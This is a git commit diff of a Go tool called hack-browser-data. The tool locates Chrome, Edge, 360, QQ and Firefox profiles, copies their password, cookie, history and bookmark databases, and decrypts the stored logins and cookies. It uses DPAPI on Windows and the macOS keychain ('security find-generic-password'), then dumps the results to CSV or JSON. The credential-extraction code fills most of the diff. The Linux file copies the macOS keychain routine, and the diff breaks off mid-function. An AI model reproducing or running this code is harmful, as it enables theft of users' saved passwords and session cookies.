refactor code Closes #13

ᴍᴏᴏɴD4ʀᴋ 4 years ago
parent 23b9cf97f7
commit 73b3075806
  1. 53
      cmd/cmd.go
  2. 393
      core/browser.go
  3. 69
      core/browser_darwin.go
  4. 58
      core/browser_linux.go
  5. 85
      core/browser_windows.go
  6. 218
      core/common/output.go
  7. 573
      core/common/parse.go
  8. 85
      core/decrypt/decrypt.go
  9. 115
      core/decrypt/decrypt_darwin.go
  10. 58
      core/decrypt/decrypt_linux.go
  11. 90
      core/decrypt/decrypt_windows.go
  12. 156
      core/output.go
  13. 13
      core/sort.go
  14. 23
      utils/utils.go
  15. 190
      utils/utils_darwin.go

@ -5,7 +5,6 @@ import (
"hack-browser-data/log" "hack-browser-data/log"
"hack-browser-data/utils" "hack-browser-data/utils"
"os" "os"
"path/filepath"
"strings" "strings"
"github.com/urfave/cli/v2" "github.com/urfave/cli/v2"
@ -27,7 +26,7 @@ func Execute() {
Version: "0.1.0", Version: "0.1.0",
Flags: []cli.Flag{ Flags: []cli.Flag{
&cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "Verbose"}, &cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "Verbose"},
&cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browser, Value: "chrome", Usage: "Available browsers: " + strings.Join(utils.ListBrowser(), "|")}, &cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browser, Value: "all", Usage: "Available browsers: all|" + strings.Join(core.ListBrowser(), "|")},
&cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &exportDir, Value: "results", Usage: "Export dir"}, &cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &exportDir, Value: "results", Usage: "Export dir"},
&cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "Format, csv|json"}, &cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "Format, csv|json"},
&cli.StringFlag{Name: "export-data", Aliases: []string{"e"}, Destination: &exportData, Value: "all", Usage: "all|password|cookie|history|bookmark"}, &cli.StringFlag{Name: "export-data", Aliases: []string{"e"}, Destination: &exportData, Value: "all", Usage: "all|password|cookie|history|bookmark"},
@ -40,58 +39,22 @@ func Execute() {
} else { } else {
log.InitLog("error") log.InitLog("error")
} }
browserDir, key, err := utils.PickBrowser(browser) browsers, err := core.PickBrowsers(browser)
if err != nil { if err != nil {
log.Fatal(err, " Available browsers: "+strings.Join(utils.ListBrowser(), "|")) log.Error(err)
}
if browser != "firefox" {
err = utils.InitKey(key)
if err != nil {
log.Fatal(err, "Please Open an issue on GitHub")
}
var fileList []string
switch exportData {
case "all":
fileList = utils.GetDBPath(browserDir, utils.LoginData, utils.History, utils.Bookmarks, utils.Cookies)
case "password", "cookie", "history", "bookmark":
fileList = utils.GetDBPath(browserDir, exportData)
default:
log.Fatal("Choose one from all|password|cookie|history|bookmark")
}
for _, v := range fileList {
dst := filepath.Base(v)
err := utils.CopyDB(v, dst)
if err != nil {
log.Debug(err)
continue
}
core.ParseResult(dst)
}
} else {
fileList := utils.GetDBPath(browserDir, utils.FirefoxLoginData, utils.FirefoxKey4DB, utils.FirefoxCookie, utils.FirefoxData)
log.Error("fileList", fileList)
for _, v := range fileList {
dst := filepath.Base(v)
err := utils.CopyDB(v, dst)
if err != nil {
log.Debug(err)
continue
}
core.ParseResult(dst)
}
} }
core.FullData.Sorted()
utils.MakeDir(exportDir) utils.MakeDir(exportDir)
if outputFormat == "json" { for _, v := range browsers {
err := core.FullData.OutPutJson(exportDir, browser, outputFormat) err := v.InitSecretKey()
if err != nil { if err != nil {
log.Error(err) log.Error(err)
} }
} else { err = v.GetProfilePath(exportData)
err := core.FullData.OutPutCsv(exportDir, browser, outputFormat)
if err != nil { if err != nil {
log.Error(err) log.Error(err)
} }
v.ParseDB()
v.OutPut(exportDir, outputFormat)
} }
return nil return nil
}, },

@ -0,0 +1,393 @@
package core
import (
"errors"
"hack-browser-data/core/common"
"hack-browser-data/log"
"hack-browser-data/utils"
"path/filepath"
"strings"
)
const (
chromeName = "Chrome"
edgeName = "Microsoft Edge"
firefoxName = "Firefox"
speed360Name = "360speed"
qqBrowserName = "qq"
)
type Browser interface {
GetProfilePath(filename string) (err error)
InitSecretKey() error
ParseDB()
OutPut(dir, format string)
}
type chromium struct {
ProfilePath string
KeyPath string
Name string
SecretKey []byte
FileLists []FileList
Data common.BrowserData
}
type firefox struct {
ProfilePath string
KeyPath string
Name string
FileLists []FileList
Data common.BrowserData
}
type FileList struct {
name string
mainFile string
mainPath string
subFile string
subPath string
}
const (
cookie = "cookie"
history = "history"
bookmark = "bookmark"
password = "password"
)
var (
ErrDataNotSupported = errors.New(`not supported, default is "all", choose from history|password|bookmark|cookie`)
ErrBrowserNotSupported = errors.New("browser not supported")
chromiumParseList = map[string]FileList{
cookie: {
name: cookie,
mainFile: common.ChromeCookies,
},
history: {
name: history,
mainFile: common.ChromeHistory,
},
bookmark: {
name: bookmark,
mainFile: common.ChromeBookmarks,
},
password: {
name: password,
mainFile: common.ChromePassword,
},
}
firefoxParseList = map[string]FileList{
cookie: {
name: cookie,
mainFile: common.FirefoxCookie,
},
history: {
name: history,
mainFile: common.FirefoxData,
},
bookmark: {
name: bookmark,
mainFile: common.FirefoxData,
},
password: {
name: password,
mainFile: common.FirefoxKey4DB,
subFile: common.FirefoxLoginData,
},
}
)
func (c *chromium) GetProfilePath(filename string) (err error) {
filename = strings.ToLower(filename)
if filename == "all" {
for _, v := range chromiumParseList {
m, err := filepath.Glob(c.ProfilePath + v.mainFile)
if err != nil {
log.Error(err)
continue
}
if len(m) > 0 {
log.Debugf("%s find %s File Success", c.Name, v.name)
log.Debugf("%s file location is %s", v, m[0])
v.mainPath = m[0]
c.FileLists = append(c.FileLists, v)
} else {
log.Errorf("%+v find %s failed", c.Name, v.name)
}
}
} else if v, ok := chromiumParseList[filename]; ok {
m, err := filepath.Glob(c.ProfilePath + v.mainFile)
if err != nil {
log.Error(err)
}
if len(m) > 0 {
log.Debugf("%s find %s File Success", c.Name, v)
log.Debugf("%s file location is %s", v, m[0])
v.mainPath = m[0]
c.FileLists = append(c.FileLists, v)
}
} else {
return ErrDataNotSupported
}
return nil
}
func (c *chromium) ParseDB() {
for _, v := range c.FileLists {
err := utils.CopyDB(v.mainPath, filepath.Base(v.mainPath))
if err != nil {
log.Error(err)
}
switch v.name {
case bookmark:
if err := chromeParse(c.SecretKey, &c.Data.Bookmarks); err != nil {
log.Error(err)
}
case history:
if err := chromeParse(c.SecretKey, &c.Data.History); err != nil {
log.Error(err)
}
case password:
if err := chromeParse(c.SecretKey, &c.Data.Logins); err != nil {
log.Error(err)
}
case cookie:
if err := chromeParse(c.SecretKey, &c.Data.Cookies); err != nil {
log.Error(err)
}
}
}
}
func (c *chromium) OutPut(dir, format string) {
c.Data.Sorted()
switch format {
case "json":
for _, v := range c.FileLists {
switch v.name {
case bookmark:
if err := outPutJson(c.Name, dir, &c.Data.Bookmarks); err != nil {
log.Error(err)
}
case history:
if err := outPutJson(c.Name, dir, &c.Data.History); err != nil {
log.Error(err)
}
case password:
if err := outPutJson(c.Name, dir, &c.Data.Logins); err != nil {
log.Error(err)
}
case cookie:
if err := outPutJson(c.Name, dir, &c.Data.Cookies); err != nil {
log.Error(err)
}
}
}
case "csv":
for _, v := range c.FileLists {
switch v.name {
case bookmark:
if err := outPutCsv(c.Name, dir, &c.Data.Bookmarks); err != nil {
log.Error(err)
}
case history:
if err := outPutCsv(c.Name, dir, &c.Data.History); err != nil {
log.Error(err)
}
case password:
if err := outPutCsv(c.Name, dir, &c.Data.Logins); err != nil {
log.Error(err)
}
case cookie:
if err := outPutCsv(c.Name, dir, &c.Data.Cookies); err != nil {
log.Error(err)
}
}
}
}
}
func decryptChromium(profile, key, name string) (Browser, error) {
return &chromium{ProfilePath: profile, KeyPath: key, Name: name}, nil
}
func (f *firefox) ParseDB() {
for _, v := range f.FileLists {
err := utils.CopyDB(v.mainPath, filepath.Base(v.mainPath))
if v.subPath != "" {
err := utils.CopyDB(v.subPath, filepath.Base(v.subPath))
if err != nil {
log.Error(err)
}
}
if err != nil {
log.Error(err)
}
switch v.name {
case password:
if err := firefoxParse(&f.Data.Logins); err != nil {
log.Error(err)
}
case bookmark:
if err := firefoxParse(&f.Data.Bookmarks); err != nil {
log.Error(err)
}
case history:
if err := firefoxParse(&f.Data.History); err != nil {
log.Error(err)
}
case cookie:
if err := firefoxParse(&f.Data.Cookies); err != nil {
log.Error(err)
}
}
}
}
func (f *firefox) GetProfilePath(filename string) (err error) {
filename = strings.ToLower(filename)
if filename == "all" {
for _, v := range firefoxParseList {
m, err := filepath.Glob(f.ProfilePath + v.mainFile)
if v.subFile != "" {
s, err := filepath.Glob(f.ProfilePath + v.subFile)
if err != nil {
log.Error(err)
continue
}
if len(s) > 0 {
log.Debugf("%s find %s File Success", f.Name, v.name)
log.Debugf("%s file location is %s", v, s[0])
v.subPath = s[0]
}
}
if err != nil {
log.Error(err)
continue
}
if len(m) > 0 {
log.Debugf("%s find %s File Success", f.Name, v.name)
log.Debugf("%+v file location is %s", v, m[0])
v.mainPath = m[0]
f.FileLists = append(f.FileLists, v)
} else {
log.Errorf("%s find %s failed", f.Name, v.name)
}
}
} else if v, ok := firefoxParseList[filename]; ok {
m, err := filepath.Glob(f.ProfilePath + v.mainFile)
if err != nil {
log.Error(err)
}
if len(m) > 0 {
log.Debugf("%s find %s File Success", f.Name, v)
log.Debugf("%s file location is %s", v, m[0])
v.mainPath = m[0]
f.FileLists = append(f.FileLists, v)
}
} else {
return ErrDataNotSupported
}
return nil
}
func (f *firefox) OutPut(dir, format string) {
f.Data.Sorted()
switch format {
case "json":
for _, v := range f.FileLists {
switch v.name {
case bookmark:
if err := outPutJson(f.Name, dir, &f.Data.Bookmarks); err != nil {
log.Error(err)
}
case history:
if err := outPutJson(f.Name, dir, &f.Data.History); err != nil {
log.Error(err)
}
case password:
if err := outPutJson(f.Name, dir, &f.Data.Logins); err != nil {
log.Error(err)
}
case cookie:
if err := outPutJson(f.Name, dir, &f.Data.Cookies); err != nil {
log.Error(err)
}
}
}
case "csv":
for _, v := range f.FileLists {
switch v.name {
case bookmark:
if err := outPutCsv(f.Name, dir, &f.Data.Bookmarks); err != nil {
log.Error(err)
}
case history:
if err := outPutCsv(f.Name, dir, &f.Data.History); err != nil {
log.Error(err)
}
case password:
if err := outPutCsv(f.Name, dir, &f.Data.Logins); err != nil {
log.Error(err)
}
case cookie:
if err := outPutCsv(f.Name, dir, &f.Data.Cookies); err != nil {
log.Error(err)
}
}
}
}
}
func (f *firefox) InitSecretKey() error {
return nil
}
func decryptFirefox(profile, key, name string) (Browser, error) {
return &firefox{ProfilePath: profile, KeyPath: key, Name: name}, nil
}
func PickBrowsers(name string) ([]Browser, error) {
var browsers []Browser
name = strings.ToLower(name)
if name == "all" {
for _, v := range browserList {
b, err := v.New(v.ProfilePath, v.KeyPath, v.Name)
if err != nil {
log.Error(err)
}
browsers = append(browsers, b)
}
return browsers, nil
} else if choice, ok := browserList[name]; ok {
b, err := choice.New(choice.ProfilePath, choice.KeyPath, choice.Name)
browsers = append(browsers, b)
return browsers, err
}
return nil, ErrBrowserNotSupported
}
func chromeParse(key []byte, f common.Formatter) error {
return f.ChromeParse(key)
}
func firefoxParse(f common.Formatter) error {
return f.FirefoxParse()
}
func outPutJson(name, dir string, f common.Formatter) error {
return f.OutPutJson(name, dir)
}
func outPutCsv(name, dir string, f common.Formatter) error {
return f.OutPutCsv(name, dir)
}
func ListBrowser() []string {
var l []string
for k := range browserList {
l = append(l, k)
}
return l
}

@ -0,0 +1,69 @@
package core
import (
"bytes"
"crypto/sha1"
"errors"
"hack-browser-data/log"
"os/exec"
"golang.org/x/crypto/pbkdf2"
)
const (
chromeProfilePath = "/Users/*/Library/Application Support/Google/Chrome/*/"
edgeProfilePath = "/Users/*/Library/Application Support/Microsoft Edge/*/"
fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-release/"
)
var (
browserList = map[string]struct {
ProfilePath string
Name string
KeyPath string
New func(profile, key, name string) (Browser, error)
}{
"chrome": {
ProfilePath: chromeProfilePath,
Name: chromeName,
New: decryptChromium,
},
"edge": {
ProfilePath: edgeProfilePath,
Name: edgeName,
New: decryptChromium,
},
"firefox": {
ProfilePath: fireFoxProfilePath,
Name: firefoxName,
New: decryptFirefox,
},
}
)
func (c *chromium) InitSecretKey() error {
var (
cmd *exec.Cmd
stdout, stderr bytes.Buffer
)
//➜ security find-generic-password -wa 'Chrome'
cmd = exec.Command("security", "find-generic-password", "-wa", c.Name)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
if err != nil {
log.Error(err)
return err
}
if stderr.Len() > 0 {
err = errors.New(stderr.String())
log.Error(err)
}
temp := stdout.Bytes()
chromePass := temp[:len(temp)-1]
var chromeSalt = []byte("saltysalt")
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
key := pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New)
c.SecretKey = key
return err
}

@ -0,0 +1,58 @@
package core
import (
"bytes"
"crypto/sha1"
"errors"
"hack-browser-data/log"
"os/exec"
"golang.org/x/crypto/pbkdf2"
)
const (
fireFoxProfilePath = "/home/*/.mozilla/firefox/*.default-release/"
fireFoxCommand = ""
)
var (
browserList = map[string]struct {
ProfilePath string
Name string
KeyPath string
New func(profile, key, name string) (Browser, error)
}{
"firefox": {
ProfilePath: fireFoxProfilePath,
Name: fireFoxCommand,
New: decryptFirefox,
},
}
)
func (c *chromium) InitSecretKey() error {
var (
cmd *exec.Cmd
stdout, stderr bytes.Buffer
)
//➜ security find-generic-password -wa 'Chrome'
cmd = exec.Command("security", "find-generic-password", "-wa", c.Name)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
if err != nil {
log.Error(err)
return err
}
if stderr.Len() > 0 {
err = errors.New(stderr.String())
log.Error(err)
}
temp := stdout.Bytes()
chromePass := temp[:len(temp)-1]
var chromeSalt = []byte("saltysalt")
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
key := pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New)
c.SecretKey = key
return err
}

@ -0,0 +1,85 @@
package core
import (
"encoding/base64"
"errors"
"hack-browser-data/core/decrypt"
"hack-browser-data/utils"
"os"
"github.com/tidwall/gjson"
)
const (
chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/*/"
chromeKeyPath = "/AppData/Local/Google/Chrome/User Data/Local State"
edgeProfilePath = "/AppData/Local/Microsoft/Edge/User Data/*/"
edgeKeyPath = "/AppData/Local/Microsoft/Edge/User Data/Local State"
speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/*/"
speed360KeyPath = ""
qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/*/"
qqBrowserKeyPath = ""
firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-release/"
firefoxKeyPath = ""
)
var (
browserList = map[string]struct {
ProfilePath string
Name string
KeyPath string
New func(profile, key, name string) (Browser, error)
}{
"chrome": {
ProfilePath: os.Getenv("USERPROFILE") + chromeProfilePath,
KeyPath: os.Getenv("USERPROFILE") + chromeKeyPath,
Name: chromeName,
New: decryptChromium,
},
"edge": {
ProfilePath: os.Getenv("USERPROFILE") + edgeProfilePath,
KeyPath: os.Getenv("USERPROFILE") + edgeKeyPath,
Name: edgeName,
New: decryptChromium,
},
"360": {
ProfilePath: os.Getenv("USERPROFILE") + speed360ProfilePath,
Name: speed360Name,
New: decryptChromium,
},
"qq": {
ProfilePath: os.Getenv("USERPROFILE") + qqBrowserProfilePath,
Name: qqBrowserName,
New: decryptChromium,
},
"firefox": {
ProfilePath: os.Getenv("USERPROFILE") + firefoxProfilePath,
Name: firefoxName,
New: decryptFirefox,
},
}
)
var (
errBase64DecodeFailed = errors.New("decode base64 failed")
)
func (c *chromium) InitSecretKey() error {
if c.KeyPath == "" {
return nil
}
keyFile, err := utils.ReadFile(c.KeyPath)
if err != nil {
return err
}
encryptedKey := gjson.Get(keyFile, "os_crypt.encrypted_key")
if encryptedKey.Exists() {
pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
if err != nil {
return errBase64DecodeFailed
}
c.SecretKey, err = decrypt.DPApi(pureKey[5:])
return err
}
return nil
}

@ -0,0 +1,218 @@
package common
import (
"bytes"
"encoding/json"
"fmt"
"hack-browser-data/log"
"hack-browser-data/utils"
"os"
"github.com/jszwec/csvutil"
)
var utf8Bom = []byte{239, 187, 191}
func (b *Bookmarks) OutPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "bookmark", "json")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer func() {
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Errorf("create file %s fail", filename)
return err
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
enc.Encode(b.bookmarks)
_, err = file.Write(w.Bytes())
if err != nil {
log.Error(err)
return err
}
fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.bookmarks), filename)
return nil
}
func (h *History) OutPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "history", "json")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer func() {
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Errorf("create file %s fail", filename)
return err
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(h.history)
if err != nil {
log.Debug(err)
}
_, err = file.Write(w.Bytes())
if err != nil {
log.Error(err)
return err
}
fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(h.history), filename)
return nil
}
func (l *Logins) OutPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "password", "json")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer func() {
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Errorf("create file %s fail", filename)
return err
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(l.logins)
if err != nil {
log.Debug(err)
}
_, err = file.Write(w.Bytes())
if err != nil {
log.Error(err)
return err
}
fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(l.logins), filename)
return nil
}
func (c *Cookies) OutPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "cookie", "json")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer func() {
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Errorf("create file %s fail", filename)
return err
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(c.cookies)
if err != nil {
log.Debug(err)
return err
}
_, err = file.Write(w.Bytes())
if err != nil {
log.Error(err)
return err
}
fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(c.cookies), filename)
return nil
}
func (b *Bookmarks) OutPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "bookmark", "csv")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer func() {
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Errorf("create file %s fail %s", filename, err)
return err
}
file.Write(utf8Bom)
data, err := csvutil.Marshal(b.bookmarks)
if err != nil {
return err
}
file.Write(data)
fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.bookmarks), filename)
return nil
}
func (h *History) OutPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "history", "csv")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer func() {
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Errorf("create file %s fail %s", filename, err)
return err
}
file.Write(utf8Bom)
data, err := csvutil.Marshal(h.history)
if err != nil {
return err
}
file.Write(data)
fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(h.history), filename)
return nil
}
func (l *Logins) OutPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "password", "csv")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer func() {
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Errorf("create file %s fail %s", filename, err)
return err
}
file.Write(utf8Bom)
data, err := csvutil.Marshal(l.logins)
if err != nil {
return err
}
file.Write(data)
fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(l.logins), filename)
return nil
}
func (c *Cookies) OutPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "cookie", "csv")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer func() {
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Errorf("create file %s fail", filename)
return err
}
var tempSlice []cookies
for _, v := range c.cookies {
tempSlice = append(tempSlice, v...)
}
file.Write(utf8Bom)
data, err := csvutil.Marshal(tempSlice)
file.Write(data)
fmt.Printf("%s Get %d cookies, filename is %s \n", log.Prefix, len(c.cookies), filename)
return nil
}

@ -1,14 +1,15 @@
package core package common
import ( import (
"bytes" "bytes"
"database/sql" "database/sql"
"encoding/base64" "encoding/base64"
"encoding/hex" "hack-browser-data/core/decrypt"
"hack-browser-data/log" "hack-browser-data/log"
"hack-browser-data/utils" "hack-browser-data/utils"
"io/ioutil" "io/ioutil"
"os" "os"
"sort"
"time" "time"
_ "github.com/mattn/go-sqlite3" _ "github.com/mattn/go-sqlite3"
@ -16,29 +17,39 @@ import (
) )
const ( const (
bookmarkID = "id" ChromePassword = "Login Data"
bookmarkAdded = "date_added" ChromeHistory = "History"
bookmarkUrl = "url" ChromeCookies = "Cookies"
bookmarkName = "name" ChromeBookmarks = "Bookmarks"
bookmarkType = "type" FirefoxCookie = "cookies.sqlite"
bookmarkChildren = "children" FirefoxKey4DB = "key4.db"
FirefoxLoginData = "logins.json"
FirefoxData = "places.sqlite"
FirefoxKey3DB = "key3.db"
) )
var ( type (
FullData = new(BrowserData) BrowserData struct {
Logins
Bookmarks
History
Cookies
}
Logins struct {
logins []loginData
}
Bookmarks struct {
bookmarks []bookmark
}
History struct {
history []history
}
Cookies struct {
cookies map[string][]cookies
}
) )
type ( type (
BrowserData struct {
LoginDataSlice
BookmarkSlice
CookieMap
HistorySlice
}
LoginDataSlice []loginData
BookmarkSlice []bookmarks
CookieMap map[string][]cookies
HistorySlice []history
loginData struct { loginData struct {
UserName string UserName string
encryptPass []byte encryptPass []byte
@ -47,7 +58,7 @@ type (
LoginUrl string LoginUrl string
CreateDate time.Time CreateDate time.Time
} }
bookmarks struct { bookmark struct {
ID int64 ID int64
Name string Name string
Type string Type string
@ -75,56 +86,42 @@ type (
} }
) )
func ParseResult(dbname string) { const (
switch dbname { bookmarkID = "id"
case utils.Bookmarks: bookmarkAdded = "date_added"
parseBookmarks() bookmarkUrl = "url"
case utils.History: bookmarkName = "name"
parseHistory() bookmarkType = "type"
case utils.Cookies: bookmarkChildren = "children"
parseCookie() )
case utils.LoginData:
parseLogin()
case utils.FirefoxCookie:
parseFirefoxCookie()
case utils.FirefoxKey4DB:
parseFirefoxKey4()
case utils.FirefoxData:
parseFirefoxData()
}
}
var bookmarkList BookmarkSlice
func parseBookmarks() { func (b *Bookmarks) ChromeParse(key []byte) error {
bookmarks, err := utils.ReadFile(utils.Bookmarks) bookmarks, err := utils.ReadFile(ChromeBookmarks)
defer func() { defer func() {
if err := os.Remove(utils.Bookmarks); err != nil { if err := os.Remove(ChromeBookmarks); err != nil {
log.Error(err) log.Error(err)
} }
}() }()
if err != nil { if err != nil {
log.Debug(err) log.Debug(err)
return err
} }
r := gjson.Parse(bookmarks) r := gjson.Parse(bookmarks)
if r.Exists() { if r.Exists() {
roots := r.Get("roots") roots := r.Get("roots")
roots.ForEach(func(key, value gjson.Result) bool { roots.ForEach(func(key, value gjson.Result) bool {
getBookmarkChildren(value) getBookmarkChildren(value, b)
return true return true
}) })
} }
FullData.BookmarkSlice = bookmarkList return nil
} }
var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` func (l *Logins) ChromeParse(key []byte) error {
func parseLogin() {
var loginItemList LoginDataSlice
login := loginData{} login := loginData{}
loginDB, err := sql.Open("sqlite3", utils.LoginData) loginDB, err := sql.Open("sqlite3", ChromePassword)
defer func() { defer func() {
if err := os.Remove(utils.LoginData); err != nil { if err := os.Remove(ChromePassword); err != nil {
log.Error(err) log.Error(err)
} }
}() }()
@ -135,8 +132,10 @@ func parseLogin() {
}() }()
if err != nil { if err != nil {
log.Debug(err) log.Debug(err)
return err
} }
err = loginDB.Ping() err = loginDB.Ping()
var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
rows, err := loginDB.Query(queryLogin) rows, err := loginDB.Query(queryLogin)
defer func() { defer func() {
if err := rows.Close(); err != nil { if err := rows.Close(); err != nil {
@ -145,8 +144,8 @@ func parseLogin() {
}() }()
for rows.Next() { for rows.Next() {
var ( var (
url, username, password string url, username string
pwd []byte pwd, password []byte
create int64 create int64
) )
err = rows.Scan(&url, &username, &pwd, &create) err = rows.Scan(&url, &username, &pwd, &create)
@ -155,10 +154,10 @@ func parseLogin() {
encryptPass: pwd, encryptPass: pwd,
LoginUrl: url, LoginUrl: url,
} }
if utils.VersionUnder80 { if key == nil {
password, err = utils.DecryptStringWithDPAPI(pwd) password, err = decrypt.DPApi(pwd)
} else { } else {
password, err = utils.DecryptChromePass(pwd) password, err = decrypt.ChromePass(key, pwd)
} }
if create > time.Now().Unix() { if create > time.Now().Unix() {
login.CreateDate = utils.TimeEpochFormat(create) login.CreateDate = utils.TimeEpochFormat(create)
@ -166,36 +165,55 @@ func parseLogin() {
login.CreateDate = utils.TimeStampFormat(create) login.CreateDate = utils.TimeStampFormat(create)
} }
login.Password = password login.Password = string(password)
if err != nil { if err != nil {
log.Debug(err) log.Debug(err)
} }
loginItemList = append(loginItemList, login) l.logins = append(l.logins, login)
} }
FullData.LoginDataSlice = loginItemList return nil
} }
var queryCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` func getBookmarkChildren(value gjson.Result, b *Bookmarks) (children gjson.Result) {
bm := bookmark{}
bm.ID = value.Get(bookmarkID).Int()
nodeType := value.Get(bookmarkType)
bm.DateAdded = utils.TimeEpochFormat(value.Get(bookmarkAdded).Int())
bm.URL = value.Get(bookmarkUrl).String()
bm.Name = value.Get(bookmarkName).String()
children = value.Get(bookmarkChildren)
if nodeType.Exists() {
bm.Type = nodeType.String()
b.bookmarks = append(b.bookmarks, bm)
if children.Exists() && children.IsArray() {
for _, v := range children.Array() {
children = getBookmarkChildren(v, b)
}
}
}
return children
}
func parseCookie() { func (h *History) ChromeParse(key []byte) error {
cookie := cookies{} data := history{}
cookieMap := make(map[string][]cookies) historyDB, err := sql.Open("sqlite3", ChromeHistory)
cookieDB, err := sql.Open("sqlite3", utils.Cookies)
defer func() { defer func() {
if err := os.Remove(utils.Cookies); err != nil { if err := os.Remove(ChromeHistory); err != nil {
log.Error(err) log.Error(err)
} }
}() }()
defer func() { defer func() {
if err := cookieDB.Close(); err != nil { if err := historyDB.Close(); err != nil {
log.Debug(err) log.Debug(err)
} }
}() }()
if err != nil { if err != nil {
log.Debug(err) log.Debug(err)
return err
} }
err = cookieDB.Ping() err = historyDB.Ping()
rows, err := cookieDB.Query(queryCookie) var queryHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
rows, err := historyDB.Query(queryHistory)
defer func() { defer func() {
if err := rows.Close(); err != nil { if err := rows.Close(); err != nil {
log.Debug(err) log.Debug(err)
@ -203,62 +221,48 @@ func parseCookie() {
}() }()
for rows.Next() { for rows.Next() {
var ( var (
key, host, path, value string url, title string
isSecure, isHTTPOnly, hasExpire, isPersistent int visitCount int
createDate, expireDate int64 lastVisitTime int64
encryptValue []byte
) )
err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent) err := rows.Scan(&url, &title, &visitCount, &lastVisitTime)
cookie = cookies{ data = history{
KeyName: key, Url: url,
Host: host, Title: title,
Path: path, VisitCount: visitCount,
encryptValue: encryptValue, LastVisitTime: utils.TimeEpochFormat(lastVisitTime),
IsSecure: utils.IntToBool(isSecure),
IsHTTPOnly: utils.IntToBool(isHTTPOnly),
HasExpire: utils.IntToBool(hasExpire),
IsPersistent: utils.IntToBool(isPersistent),
CreateDate: utils.TimeEpochFormat(createDate),
ExpireDate: utils.TimeEpochFormat(expireDate),
}
// remove prefix 'v10'
if utils.VersionUnder80 {
value, err = utils.DecryptStringWithDPAPI(encryptValue)
} else {
value, err = utils.DecryptChromePass(encryptValue)
} }
if err != nil {
cookie.Value = value log.Debug(err)
if _, ok := cookieMap[host]; ok { continue
